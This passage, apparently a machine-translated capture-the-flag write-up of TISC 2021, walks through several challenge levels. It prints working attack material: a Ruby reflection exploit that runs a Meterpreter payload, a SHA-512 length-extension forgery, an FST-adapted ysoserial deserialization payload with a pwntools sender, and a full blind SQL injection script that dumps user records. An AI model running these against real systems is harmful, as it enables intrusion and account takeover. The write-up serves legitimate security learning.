p.sendline(b'get tear-in-the-rift-a')
print(p.recvuntil(b']'))


p.interactive()

漏洞利用顺利进行,我得到了我的shell。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

TISC{dr4b_4s_a_f00l_as_al00f_a5_A_b4rd}

第 3 部分:来自卡特彼勒的建议

PALINDROME 的嘲讽很明显:他们在疯帽子和三月兔举办的茶会上等着我们。我们需要在它结束之前尽快访问它。

花说是请来了法国老鼠。也许她把邀请藏在了她的沃伦里。据说她家装饰着各种奇形怪状的镜子,可悲的是她害怕自己的倒影。

这个挑战描述包括关键词“反射”。我立即想到了 Java 反射攻击,但 Java 应用程序a-mad-tea-party是由hatter用户执行的,而不是mouse. 从我的 shell 中,我提取了所有源代码/opt/wonderland并检查了pool-of-tearsmouse.

blowsmoke API 的控制器逻辑pool-of-tears/app/controllers/smoke_controller.rb具有以下代码。

  def remember
    # Log down messages from our happy players!

    begin
      ctype = "File"
      if params.has_key? :ctype
        # Support for future appending type.
        ctype = params[:ctype]
      end

      cargs = []
      if params.has_key?(:cargs) && params[:cargs].kind_of?(Array)
        cargs = params[:cargs]
      end

      cop = "new"
      if params.has_key?(:cop)
        cop = params[:cop]
      end

      if params.has_key?(:uniqid) && params.has_key?(:content)
        # Leave the kind messages
        fn = Rails.application.config.message_dir + params[:uniqid]
        cargs.unshift(fn)
        c = ctype.constantize
        k = c.public_send(cop, *cargs)
        if k.kind_of?(File)
          k.write(params[:content])
          k.close()
        else
          # TODO: Implement more types when we need distributed logging.
          # PALINDROME: Won't cat lovers revolt? Act now!
          render :plain => "Type is not implemented yet."
          return
        end

      else
        render :plain => "ERROR"
        return
      end
    rescue => e
      render :plain => "ERROR: " + e.to_s
      return
    end

评论和使用ctype.constantize引起了我的注意,我想知道是否存在 Ruby 反射攻击。他们做到了。

根据源代码,该ctype参数用ctype.constantize. 此后,c.public_send根据cop参数执行该对象的任何公共方法。该方法是使用cargs数组参数中的参数执行的。

然而,pool-of-tears有一个有趣的转折:因为它Rails.application.config. message_dir + params[:uniqid]cargs数组前面加上了字符串,所以我不能执行任何我想要的;接受连接的文件路径作为第一个参数所需的方法。例如,一个公知的红宝石反射有效载荷使用Object.public_send("send","eval","system 'uname'"),这需要将第一个参数sendeval。由于eval是 的私有方法Object,我无法直接使用public_send.

我在Ruby 文档中搜索了允许我执行代码的合适的类和公共方法。最终,我找到了包含公共方法的Kernelexec。第一个参数确定要执行的命令。由于这可能是一个文件路径,我意识到我可以通过发送uniqid../../../../../tmp/meterpreter. 这导致

c.public_send('exec', '/opt/wonderland/logs/../../../../../tmp/meterpreter')

因此执行我的meterpreter有效载荷。

我将有效负载上传到/tmp/met64.elf,然后使用

curl 'http://localhost:4000/ api/v1/smoke?ctype=Kernel&cop=exec&uniqid= ../../../../tmp/met64.elf&content=test'

. 紧张的几秒钟后,我拿到了我的shell!

/home/mouse包含flag3.bin我执行以检索flag的二进制文件。该目录还包括an-unbirthday-invitation.letter

Dear French Mouse,

    The March Hare and the Mad Hatter
        request the pleasure of your company
            for an tea party evening filled with
                clocks, food, fiddles, fireworks & more


    Last Month
        25:60 p.m.
            By the Stream, and Into the Woods
                Also available by way of port 4714

    Comfortable outdoor attire suggested

PS: Dormouse will be there!

PSPS: No palindromes will be tolerated! Nor are emordnilaps, and semordnilaps!

By the way, please quote the following before entering the party:


ed4a1a59-0869-48ad-8bc6-ac64b04b02b6

TISC{mu5t_53ll_4t_th3_t4l13sT_5UM}

第 4 部分:疯狂的茶会

伟大的!我们拥有参加茶会所需的一切!

为了了解会发生什么,我们咨询了我们的线人(缩写 CC),他们建议:

“参加疯狂的茶会。

带着(里面有什么)帽匠的脑袋回来。

有时,故事的结局可能不是故事的结局。

没有逻辑意义的事情可以安全地忽略。

不要吃那个小小的Hello Kitty。”

这对我们来说是无稽之谈,所以从现在开始你就靠自己了。

如邀请函中所述,挑战a-mad-tea-party在 localhost 端口上运行最终的 Java 应用程序4714

[Cake Designer Interface v4.2.1]
  1. Set Name.
  2. Set Candles.
  3. Set Caption.
  4. Set Flavour.
  5. Add Firework.
  6. Add Decoration.

  7. Cake to Go.
  8. Go to Cake.
  9. Eat Cake.

  0. Leave the Party.

[Your cake so far:]

name: "A Plain Cake"
candles: 31337
flavour: "Vanilla"

根据应用程序的源代码

tea-party/src/main/java/com/mad/hatter/App.java

我确定最有可能的漏洞利用向量是“Eat Cake”选项,它会Firework在执行之前将烟花字节数组反序列化为一个对象firework.fire()

case 9:
    System.out.println("You eat the cake and you feel good!");

    for (Cake.Decoration deco : cakep.getDecorationsList()) {
        if (deco == Cake.Decoration.TINY_HELLO_KITTY) {
            running = false;
            System.out.println("A tiny Hello Kitty figurine gets lodged in your " +
                    "throat. You get very angry at this and storm off.");
            break;
        }
    }

    if (cakep.getFireworksCount() == 0) {
        System.out.println("Nothing else interesting happens.");
    } else {
        for (ByteString firework_bs : cakep.getFireworksList()) {
            byte[] firework_data = firework_bs.toByteArray();
            Firework firework = (Firework) conf.asObject(firework_data);    // deserialisation
            firework.fire();
        }
    }
    break;

我相信这是漏洞利用向量,因为 Java 反序列化是一种臭名昭著的代码执行方法。但是,我无法使用“添加烟花”添加反序列化负载,因为它只允许我从预设的烟花列表中进行选择。

Which firework do you wish to add?

  1. Firecracker.
  2. Roman Candle.
  3. Firefly.
  4. Fountain.

Firework: 1
Firework added!

[Cake Designer Interface v4.2.1]
  1. Set Name.
  2. Set Candles.
  3. Set Caption.
  4. Set Flavour.
  5. Add Firework.
  6. Add Decoration.

  7. Cake to Go.
  8. Go to Cake.
  9. Eat Cake.

  0. Leave the Party.

[Your cake so far:]

name: "A Plain Cake"
candles: 31337
flavour: "Vanilla"
fireworks: "\000\001\032com.mad.hatter.Firecracker\000"

这些烟花的有效载荷并不令人兴奋,如下所示Firefly.java

package com.mad.hatter;

public class Firefly extends Firework {

    static final long serialVersionUID = 45L;

    public void fire() {
        System.out.println("Firefly! Firefly! Firefly! Firefly! Fire Fire Firefly!");
    }

}

同时,“Cake to Go”选项以 .txt 格式导出我当前的蛋糕{"cake":"<HEX(BASE64(PROTOBUF serialisED CAKE DATA))>","digest":"<ENCRYPTED HASH>"}

Choice: 7
Here's your cake to go:
{"cake":"<CAKE DATA>","digest":"<DIGEST>"}

我还可以使用“转到蛋糕”选项导入蛋糕。

Choice: 8
Please enter your saved cake: {"cake":""<CAKE DATA>","digest":"<DIGEST>"}
Cake successfully gotten!

[Cake Designer Interface v4.2.1]
  1. Set Name.
  2. Set Candles.
  3. Set Caption.
  4. Set Flavour.
  5. Add Firework.
  6. Add Decoration.

  7. Cake to Go.
  8. Go to Cake.
  9. Eat Cake.

  0. Leave the Party.

[Your cake so far:]

name: "A Plain Cake"
candles: 31337
flavour: "Vanilla"
fireworks: "\000\001\032com.mad.hatter.Firecracker\000"

这看起来是走私我自己的 Firework 数据的好方法。但是,源代码显示该应用程序digest使用 SHA-512 哈希正确验证了该值。

case 8:

    System.out.print("Please enter your saved cake: ");

    scanner.nextLine();
    String saved = scanner.nextLine().trim();

    try {

        HashMap<String, String> hash_map = new HashMap<String, String>();
        hash_map = (new Gson()).fromJson(saved, hash_map.getClass());
        byte[] challenge_digest = Hex.decodeHex(hash_map.get("digest"));
        byte[] challenge_cake_b64 = Hex.decodeHex(hash_map.get("cake"));
        byte[] challenge_cake_data = Base64.decodeBase64(challenge_cake_b64);

        MessageDigest md = MessageDigest.getInstance("SHA-512");
        byte[] combined = new byte[secret.length + challenge_cake_b64.length];
        System.arraycopy(secret, 0, combined, 0, secret.length);
        System.arraycopy(challenge_cake_b64, 0, combined, secret.length,
                challenge_cake_b64.length);
        byte[] message_digest = md.digest(combined);

        if (Arrays.equals(message_digest, challenge_digest)) {
            Cake new_cakep = Cake.parseFrom(challenge_cake_data);
            cakep.clear();
            cakep.mergeFrom(new_cakep);
            System.out.println("Cake successfully gotten!");
        }
        else {
            System.out.println("Your saved cake went really bad...");
        }

为了伪造我自己的任意cake数据,我需要通过这个检查。我发现了一篇很棒的Dragon CTF 2019 文章,其中涵盖了涉及 protobuf 序列化数据和 MD5 哈希验证的类似挑战。然而,虽然 MD5 冲突很容易创建,但该应用程序使用了 SHA-512,这在理论上不可能进行蛮力或碰撞——这并不是说它阻止了我尝试。在多次尝试破解哈希无果后,我再次思考了挑战描述。“没有逻辑意义的事情可以安全地被忽略”清楚地警告我不要像破解 SHA-512 这样的不可能的事情。但是“有时故事的结尾可能不是故事的结尾”是什么意思?

经过几个小时漫无目的的闲逛,我发现了一个关于破坏 SHA-512 的 StackExchange 讨论。其中一个答案让我印象深刻:

有没有成功的攻击?

不,除了长度扩展攻击,在任何未更改或扩展的 Merkle-Damgard 哈希构造(SHA-1、MD5 和许多其他结构,但不是 SHA-3 / Keccak)上都可能发生这种攻击。如果这是一个问题取决于如何使用散列。一般来说,加密散列不会因为受到长度扩展攻击而被视为损坏。

长度延长攻击……“有时故事的结尾可能不是故事的结尾”……我在比赛中可能是第 100 次面对手掌。

应用程序secret在 base64 编码的蛋糕数据中添加了一个 salt(变量),然后生成了连接字符串的 SHA-512 哈希值。此外,源代码揭示了以下长度secret

public static byte[] get_secret() throws IOException {
    // Read the secret from /home/hatter/secret.
    byte[] data = FileUtils.readFileToByteArray(new File("/home/hatter/secret"));
    if (data.length != 32) {
        System.out.println("Secret does not match the right length!");
    }
    return data;
}

这是哈希扩展攻击的经典设置。我不会重复解释——GitHub 上有一个可以分解这种攻击的hash_extender存储库。更好的是,它包含一个工具,可以对多种哈希算法(包括 SHA-512)执行哈希扩展攻击。谢谢,罗恩鲍斯!

我生成了一个测试负载,candle = 1以 Protobuf 格式附加到我之前使用该Cake to Go函数导出的数据中。

> hash_extender/hash_extender -l 32 -d CgAQACIA -s <ORIGINAL HASH> -f sha512 -a EAE=
> <FORGED MESSAGE DIGEST>

我通过使用该Go to Cake函数将其导入应用程序来测试修改后的 JSON 。

Please enter your saved cake: {"cake":"<CAKE DATA>","digest":"<DIGEST>"}
{"cake":"<CAKE DATA>","digest":"<DIGEST>"}
Cake successfully gotten!

[Cake Designer Interface v4.2.1]
  1. Set Name.
  2. Set Candles.
  3. Set Caption.
  4. Set Flavour.
  5. Add Firework.
  6. Add Decoration.

  7. Cake to Go.
  8. Go to Cake.
  9. Eat Cake.

  0. Leave the Party.

[Your cake so far:]

name: ""
candles: 1
flavour: ""

巨大的成功!

在确认散列长度扩展攻击允许我伪造自己的蛋糕数据后,我继续生成反序列化负载。ysoserial似乎是显而易见的选择工具,但根据pom.xml清单,应用程序仅导入commons-beanutilsysoserial CommonsBeanutils1有效负载需要commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2. 幸运的是,在检查了存储库的一些拉取请求后,我发现了一个删除了附加依赖项的请求。我兴奋地克隆了 repo,根据拉取请求修改了代码,生成了我的有效负载,并发送了我的哈希扩展数据。它没有用。

检查错误消息后,我惊恐地意识到该应用程序没有使用标准的ObjectInputStream反序列化。相反,它使用FST 库来序列化和反序列化有效负载,因此需要完全不同的序列化格式。为了让ysoserial有效负载工作,我修改了工具的源代码GeneratePayload.java以使用 FST 而不是ByteArrayOutputStream.

public class GeneratePayload {
	private static final int INTERNAL_ERROR_CODE = 70;
	private static final int USAGE_CODE = 64;

	static FSTConfiguration conf = FSTConfiguration.createDefaultConfiguration();

    ...

		try {
			final ObjectPayload payload = payloadClass.newInstance();
			final Object object = payload.getObject(command);
			PrintStream out = System.out;
			byte[] payload_data = conf.asByteArray(object);
			FileOutputStream outputStream = new FileOutputStream("payload.hex");
			outputStream.write(payload_data);

我重新编译ysoserial,生成了我的有效载荷,然后将其发送出去。但是,它在输入我的 JSON 负载时再次崩溃。什么地方出了错?查看错误消息,我意识到程序在 4096 字节处切断了我的输入。这是因为用于scanner.nextLine()接受输入的代码一次被限制为 4096 个字节。最后,我通过我的 Meterpreter shell 端口转发应用程序进行了最后的尝试,然后用于pwntools直接发送输入而不是复制和粘贴我的有效负载。

from pwn import *

## p = process(['java', '-jar','opt/wonderland/a-mad-tea-party/tea-party/target/tea-party-1.0-SNAPSHOT.jar'])
p = remote('<IP ADDRESS>', 4445)

print(p.recvuntil("Invitation Code:"))
p.sendline(b'<INVITATION CODE>')
print(p.recvuntil("Choice:"))
p.sendline(b'8')
p.sendline(b'{"cake":"<CAKE DATA>","digest":"<DIGEST>"}')

p.interactive()

令我宽慰的是,它奏效了,我得到了我的 Meterpreter shell!我终于走到了这个长兔子洞的尽头。谢幕!

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

TISC{W3_y4wN_A_Mor3_r0m4N_w4y}

级别 10:UwU 的恶意软件

领域:Web、二进制开发(Windows Shellcoding)、逆向工程、密码学

我们发现了一个 PALINDROME 网络服务器,怀疑是新发现的恶意软件的 C2 服务器!在恶意软件上线之前从机器人大师那里获取killswitch!

愿原力(不是暴力)与 UwU 同在!

http://18.142.2.80:18080/

最后的倒计时!我前往网站,其中有一个简单的登录页面。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我可以毫无问题地注册为用户。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

注册后,我登录到一个简单的仪表板。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

美丽的鸟类图像实际上是一系列风格化的<span>元素。

<span class="ascii" style="display:inline-block;white-space:pre;letter-spacing:0;line-height:1;font-family:'BitstreamVeraSansMono','CourierNew',Courier,monospace;font-size:16px;border-width:1px;border-style:solid;border-color:lightgray;">
    <span style="background-color:#d7875f;color: #d7af87;">|</span>
    <span style="background-color:#d7875f;color: #af5f00;">|</span>
    <span style="background-color:#d7875f;color: #af5f00;">|</span><
    ...
</span>

由于该级别的原始域描述省略了 Web,我怀疑这是一个密码学挑战,并在尝试分析十六进制颜色值时陷入困境。几个小时无果后,我向组织者澄清了这一点,他们更正了域列表以包含 Web。这促使我转而寻找 Web 攻击媒介。“请联系您的 PALINDROME 管理员以获取进一步说明!” 文本表明存在管理员用户帐户,因此我开始寻找可能的 SQL 注入。起初,我认为登录表单容易受到攻击,因为%27+OR+%27password现场发送导致响应下降。然而,我最终决定这是一个故意的红鲱鱼,因为%27+OR++%27,它应该被解释为相同%27+OR+%27 在 SQL 语法中,没有丢弃响应。

继续,当我在注册新用户时为所有表单值添加单引号时,我注意到了一些有趣的事情。

POST /new_user.php HTTP/1.1
Host: <IP ADDRESS>:18080
Content-Length: 146
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://<IP ADDRESS>:18080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=johndoe'&password=johndoe'&recovery_q1=Q1'&recovery_a1=johndoe'&recovery_q2=Q2'&recovery_a2=johndoe'&recovery_q3=Q4'&recovery_a3=johndoe'

当我尝试使用恢复问题重置用户密码时,密码重置自助服务正确获取了用户,但未能获取任何恢复问题。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

这表明在获取用户恢复问题的 SQL 语句中发生了 SQL 注入。我猜这句话部分类似于select question_text from recovery_questions where recovery_id = '<UNSANITISED VALUE OF recovery_q1 FROM REGISTRATION>'. 因此,我可以通过在recovery_q1参数中注册 SQL 负载,然后在用户的密码重置页面检索结果来利用两步 SQL 注入。不幸的是,经过进一步测试后,我发现该应用程序UNION在我的有效负载中运行了一个过滤器,以防止我直接泄漏额外的字符串;UNION即使典型的' AND '1'='1注入有效,所有有效载荷也失败了。此外,该SELECT INTO OUTFILE远程代码执行向量也失败了。相反,我依赖于基于布尔值的输出。如果我注入的语句评估为真,密码重置页面将正确获取用户的恢复问题文本。如果他们的评估结果为 false,则恢复问题文本将丢失。

这需要大量的注册和密码重置请求,迫使我自动化我的 SQL 注入。我使用 GUID 作为用户名以避免注册冲突。我的第一个任务是枚举表名。我泄露了表的数量,然后检索了最后几个表的名称,以确保它们是用户创建的而不是系统表。

import requests
import uuid
import string

NEW_USER_URL = 'http://<IP ADDRESS>:18080/new_user.php'
FORGOT_PASSWORD_URL = 'http://<IP ADDRESS>:18080/forgot_password.php'
CANDIDATE_LETTERS = string.printable

## Get number of tables
## 63
## appdb
def leak_table_count():
    count = 0
    found = False
    while not found:
        username = uuid.uuid4().hex
        payload = {
            'username': username, 
            'password': username,
            'recovery_q1': 'Q1',
            'recovery_a1': username,
            'recovery_q2': 'Q2',
            'recovery_a2': username,
            'recovery_q3': 'Q3',
            'recovery_a3': username
        }

        payload['recovery_q1'] = "Q1' AND ((SELECT COUNT(*) from information_schema.tables)='{}')#".format(count)
        r = requests.post(NEW_USER_URL, data=payload)
        # print(r.text)
        if 'New UwUser registered!' in r.text:
            print("CREATED USER WITH PAYLOAD {}".format(payload))
        else:
            print("FAILED TO CREATE USER WITH PAYLOAD {}".format(payload))
            exit(-1)
        r = requests.post(FORGOT_PASSWORD_URL, data={'username': username})
        if 'What was the name of your best frenemy in the Palindrome Academy?' in r.text:
            print("CANDIDATE SUCCESS")
            found = True
        else:
            print("CANDIDATE FAILED")
            # exit(-1)
        count += 1

    print("Number of tables: {}".format(count))


## Get table name (start from last few tables to get user tables)
## innodb_sys_tablestats, qnlist, userlist
def leak_table_name(table_number):
    table_name = ''
    found = True
    while found:
        found = False
        for candidate_letter in CANDIDATE_LETTERS:
            username = uuid.uuid4().hex
            payload = {
                'username': username, 
                'password': username,
                'recovery_q1': 'Q1',
                'recovery_a1': username,
                'recovery_q2': 'Q2',
                'recovery_a2': username,
                'recovery_q3': 'Q3',
                'recovery_a3': username
            }

            payload['recovery_q1'] = "Q1' AND (SUBSTRING((SELECT table_name from information_schema.tables LIMIT {}, 1), 1, {})) = BINARY '{}'#".format(table_number, len(table_name) + 1, table_name + candidate_letter)
            r = requests.post(NEW_USER_URL, data=payload)
            # print(r.text)
            if 'New UwUser registered!' in r.text:
                print("CREATED USER WITH PAYLOAD {}".format(payload))
            else:
                print("FAILED TO CREATE USER WITH PAYLOAD {}".format(payload))
                exit(-1)
            r = requests.post(FORGOT_PASSWORD_URL, data={'username': username})
            if 'What was the name of your best frenemy in the Palindrome Academy?' in r.text:
                print("CANDIDATE SUCCESS")
                found = True
                table_name += candidate_letter
                print(table_name)
                break
            else:
                print("CANDIDATE FAILED")
    print(table_name)

现在我有了表名qnlistuserlist,我检索了它们的列名。

## Get concatted column names for the table
## username,pwdhash,usertype,email,recover_q1,recover_a1,recover_q2,recover_a2,recover_q3,recover_a3
## q_tag, q_body
def leak_column_names(table_name):
    column_names = ''
    found = True
    while found:
        found = False
        for candidate_letter in CANDIDATE_LETTERS:
            username = uuid.uuid4().hex
            payload = {
                'username': username, 
                'password': username,
                'recovery_q1': 'Q1',
                'recovery_a1': username,
                'recovery_q2': 'Q2',
                'recovery_a2': username,
                'recovery_q3': 'Q3',
                'recovery_a3': username
            }
            payload['recovery_q1'] = "Q1' AND (SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = '{}'), 1, {})) = BINARY '{}'#".format(table_name, len(column_names) + 1, column_names + candidate_letter)
            r = requests.post(NEW_USER_URL, data=payload)
            # print(r.text)
            if 'New UwUser registered!' in r.text:
                print("CREATED USER WITH PAYLOAD {}".format(payload))
            else:
                print("FAILED TO CREATE USER WITH PAYLOAD {}".format(payload))
                exit(-1)
            r = requests.post(FORGOT_PASSWORD_URL, data={'username': username})
            if 'What was the name of your best frenemy in the Palindrome Academy?' in r.text:
                print("CANDIDATE SUCCESS")
                found = True
                column_names += candidate_letter
                print(column_names)
                break
            else:
                print("CANDIDATE FAILED")
    print(column_names)

usertype建议数据库中确实存在管理员用户。我开始检索所有用户的数据。

## Leaks user data (only leak essential columns to takeover)
## TeoYiBoon,3043b513222221993f7ade356f521566,0,[email protected],Q2,Dirty Gorilla,Q6,Mark Zuckerberg,Q7,Fox
## oscarthegrouch,3043b513244444993f7ade356f521566,0,[email protected],Q3,cat recycle bin,Q4,Operation Garbage Can,Q5,5267385
## barney,3043b513244555993f7ade356f521566,0,[email protected],Q1,Major Planet,Q4,Operation Garbage Can,Q7,Purple dinosaur
## rollrick,3043b513244556993f7ade356f521566,0,[email protected],Q2,Rick n Roll,Q3,Operation RICKROLL,Q6,PICKLE RICKKKK
## noobuser,3043b513111111993f7ade356f521566,0,[email protected],Q1,Boba Abob,Q2,Eternal Fuchsia,Q3,Troll your buddy
def leak_user_data(user_number):
    user_data = ''
    found = True

    while found:
        found = False
        for candidate_letter in CANDIDATE_LETTERS:
            username = uuid.uuid4().hex
            payload = {
                'username': username, 
                'password': username,
                'recovery_q1': 'Q1',
                'recovery_a1': username,
                'recovery_q2': 'Q2',
                'recovery_a2': username,
                'recovery_q3': 'Q3',
                'recovery_a3': username
            }
            # CONCAT(username,',',usertype,',',email,',',recover_a1,',',recover_a2,',',recover_a3)
                        # payload['recovery_q1'] = "Q1' AND (SUBSTRING((SELECT CONCAT(HEX(recover_a1),',',HEX(recover_a2),',',HEX(recover_a3)) from userlist LIMIT {}, 1), {}, 1)) = BINARY '{}'#".format(user_number, len(user_data) + 1, candidate_letter) # for my boy c1-admin
            payload['recovery_q1'] = "Q1' AND (SUBSTRING((SELECT CONCAT(recover_a1,',',recover_q2,',',recover_a2,',',recover_q3,',',recover_a3) from userlist LIMIT {}, 1), {}, 1)) = BINARY '{}'#".format(user_number, len(user_data) + 1, candidate_letter)
            r = requests.post(NEW_USER_URL, data=payload)
            # print(r.text)
            # if 'New UwUser registered!' in r.text:
            #     print("CREATED USER WITH PAYLOAD {}".format(payload))
            if not 'New UwUser registered!' in r.text:
                # print("FAILED TO CREATE USER WITH PAYLOAD {}".format(payload))
                exit(-1)
            r = requests.post(FORGOT_PASSWORD_URL, data={'username': username})
            if 'What was the name of your best frenemy in the Palindrome Academy?' in r.text:
                # print("CANDIDATE SUCCESS: {}".format(ord(candidate_letter)))
                found = True
                user_data += candidate_letter
                print(user_data)
                break
            # else:
                # print("CANDIDATE FAILED")
        # break
    print(user_data)

我需要HEX获取用户的数据,因为当我的脚本到达 juicylaojiao-c2admin用户时,它在恢复答案 2 中提前退出,返回X. 我怀疑有某种特殊的方式。事实上,用户的答案What is the name of an up and coming evil genius that inspires you?竟然是X Æ A-12。在此过程中,我修改了我的脚本以泄漏一些额外的值并确认当前examdbuser@localhost用户缺乏FILE权限。另外,我发现该应用程序消毒union,以onionsleepsheep。最终,我完成了管理员用户数据的提取:laojiao-c2admin,1,[null],6-235-35-35,X Æ A-12,Nat Uwu Tan.

laojiao-c2admin使用恢复答案成功重置了密码并登录。这一次,我遇到了相同的仪表板,底部有一个重要的变化——而不是“联系你的 PALINDROME 管理员以获得进一步的说明!”,有一个链接可以下载一个二进制命名UwU.exe

我下载UwU.exe并尝试执行它,但它立即退出。我在 PE-bear 中打开它,发现.text.data部分已被替换为.MPRESS1.MPRESS2

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我用谷歌搜索了一下,发现这是可执行文件已被MPRESS打包程序打包的指示符。网上有几个教程描述了如何手动解压此类可执行文件,但我想先尝试一些自动化选项。这是我使用过的列表。

  1. Avast RetDec:无法识别 MPRESS 包装。
  2. unipacker:设法解包但过早设置原始入口点,因此可执行文件崩溃。
  3. QuickUnpack:OG 解包器。很难找到工作副本,我不得不将它下载到密封的 VM 中,然后洗个澡。不出所料,这是唯一一款完美运行的拆包器。

解压后UwU.exe,我现在可以轻松地反编译和调试它。

我执行了二进制文件,并被我的人民的歌曲所震撼。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

马上,我尝试了“显示 Killswitch”选项,并享受了另一首甜美的摇篮曲,但没有 killswitch flag。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

接下来,我运行了“Register Bird”选项,它提示我输入 IP 地址和端口。我将其设置为网站的IP地址和端口并成功注册。此外,这触发了我使用 WireShark 检索到的 HTTP 请求。

POST /register.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: UwUserAgent/1.0
Content-Length: 60
Host: <IP ADDRESS>:18080

action=register&a=roVwGx&b=gD4ZuM&c=pFvulv&d=XH2CPq&e=I3Yonk

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2021 16:33:53 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 48
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

oVSFHfzJoQSfTP3PphqGSf7Lug+HTfrSrwHXRv2c9ATWGfma

接下来,我选择了“发送消息”,它在发送另一个 HTTP 请求之前接受目标 UwUID 和消息。

POST /send.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: UwUserAgent/1.0
Content-Length: 28
Host: <IP ADDRESS>:18080

action=send&a=ABCDEF&b=HELLO

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2021 16:35:34 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

最后,我测试了“Receive Messages”,它每隔几秒就会连续发送以下 HTTP 请求。

POST /receive.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: UwUserAgent/1.0
Content-Length: 56
Host: <IP ADDRESS>:18080

UwUID=oVSFHfzJoQSfTP3PphqGSf7Lug%2bHTfrSrwHXRv2c9ATWGfma

我还将可执行文件放入 VirusTotal 和 ANY.RUN 以观察更多静态或动态行为,但没有收集到任何新信息。我继续对解压后的可执行文件进行逆向工程,从 register 函数开始。

二进制文件有许多死胡同。例如,它包含了像这样无法访问的代码。

  switch ( rand() % 5 )   // actually, none of these will happen right? can safely ignore
  {
    case 44:
      display_logo();
      break;
    case 88:
      display_killswitch();
      break;
    case 132:
      sub_557571D0(v39, e_flat);
      sub_55752C60(v39[0], (int)v39[1], (int)v39[2], (int)v39[3], (int)v39[4], v40);
      break;
    case 176:
      receive_messages(v41);
      break;
    case 220:
      register_bird(v41);
      break;
    case 264:
      send_message(v41);
      break;
    default:
      break;

此外,二进制文件使用很少的明文字符串,更喜欢动态解密它们。例如,以下函数返回值“未注册”:

void __thiscall sub_557574E0(_BYTE *this)
{
  unsigned int v1; // ebx
  unsigned int v2; // esi

  if ( this[15] )
  {
    v1 = 0;
    v2 = 0;
    do
    {
      this[v2] ^= 0x5AA5D2B4D39B2B69ui64 >> (8 * (v2 & 7));
      v1 = (__PAIR64__(v1, v2++) + 1) >> 32;
    }
    while ( __PAIR64__(v1, v2) < 0xF );
    this[15] = 0;
  }
}

我通过在ret指令和转储处设置断点来动态解密这些EAX

我想回答的第一个问题是二进制如何产生看似随意abcd,并e在参数POST /register.php请求。我在main函数的更下方发现了混淆循环。

      for ( j = 9; ; j = 1401 )
      {
        while ( j <= 18 )
        {
          if ( j == 18 )
          {
            v34 = mersenne_rng_with_b62(v44);   // generate b parameter
            sub_55757100(v34);
            if ( v46 >= 0x10 )
            {
              v31 = v44[0];
              v32 = v46 + 1;
              if ( v46 + 1 >= 0x1000 )
              {
                v31 = *(_DWORD *)(v44[0] - 4);
                v32 = v46 + 36;
                if ( (unsigned int)(v44[0] - v31 - 4) > 0x1F )
                  goto LABEL_66;
              }
              v40 = v32;
              sub_5575B048(v31);
            }
            j = 4;
          }
          else if ( j == 4 )
          {
            v33 = mersenne_rng_with_b62(v44);   // generate c parameter
            sub_55757100(v33);
            if ( v46 >= 0x10 )
            {
              v31 = v44[0];
              v32 = v46 + 1;
              if ( v46 + 1 >= 0x1000 )
              {
                v31 = *(_DWORD *)(v44[0] - 4);
                v32 = v46 + 36;
                if ( (unsigned int)(v44[0] - v31 - 4) > 0x1F )
                  goto LABEL_66;
              }
              v40 = v32;
              sub_5575B048(v31);
            }
            j = 64;
          }
          else
          {
            v30 = mersenne_rng_with_b62(v44);   // generate a parameter
            sub_55757100(v30);
            if ( v46 >= 0x10 )
            {
              v31 = v44[0];
              v32 = v46 + 1;
              if ( v46 + 1 >= 0x1000 )
              {
                v31 = *(_DWORD *)(v44[0] - 4);
                v32 = v46 + 36;
                if ( (unsigned int)(v44[0] - v31 - 4) > 0x1F )
                  goto LABEL_66;
              }
              v40 = v32;
              sub_5575B048(v31);
            }
            j = 18;
          }
        }
        if ( j != 64 )
          break;
        v36 = mersenne_rng_with_b62(v44);       // generate d parameter
        sub_55757100(v36);
        if ( v46 >= 0x10 )
        {
          v31 = v44[0];
          v32 = v46 + 1;
          if ( v46 + 1 >= 0x1000 )
          {
            v31 = *(_DWORD *)(v44[0] - 4);
            v32 = v46 + 36;
            if ( (unsigned int)(v44[0] - v31 - 4) > 0x1F )
              goto LABEL_66;
          }
          v40 = v32;
          sub_5575B048(v31);
        }
      }
      v35 = mersenne_rng_with_b62(v44);         // generate e parameter

每个参数都是使用 Mersenne Twister 伪随机数生成器算法从mersenne_rng_with_b62函数中的 base62 字母表中选择的 6 个字符。

_DWORD *__usercall mersenne_rng_with_b62@<eax>(_DWORD *a1@<ecx>, int a2@<edi>, int a3@<esi>)
{
  _EXCEPTION_REGISTRATION_RECORD *v3; // eax
  void *v4; // esp
  unsigned int seed; // eax
  unsigned int i; // edx
  int v8; // edi
  int extracted_number; // eax
  unsigned int v10; // edx
  unsigned int v11; // ecx
  _DWORD *v12; // eax
  _BYTE *v13; // eax
  char v14; // cl
  int v17; // [esp+0h] [ebp-13CCh] BYREF
  int v18[1259]; // [esp+4h] [ebp-13C8h]
  int v19; // [esp+13B0h] [ebp-1Ch]
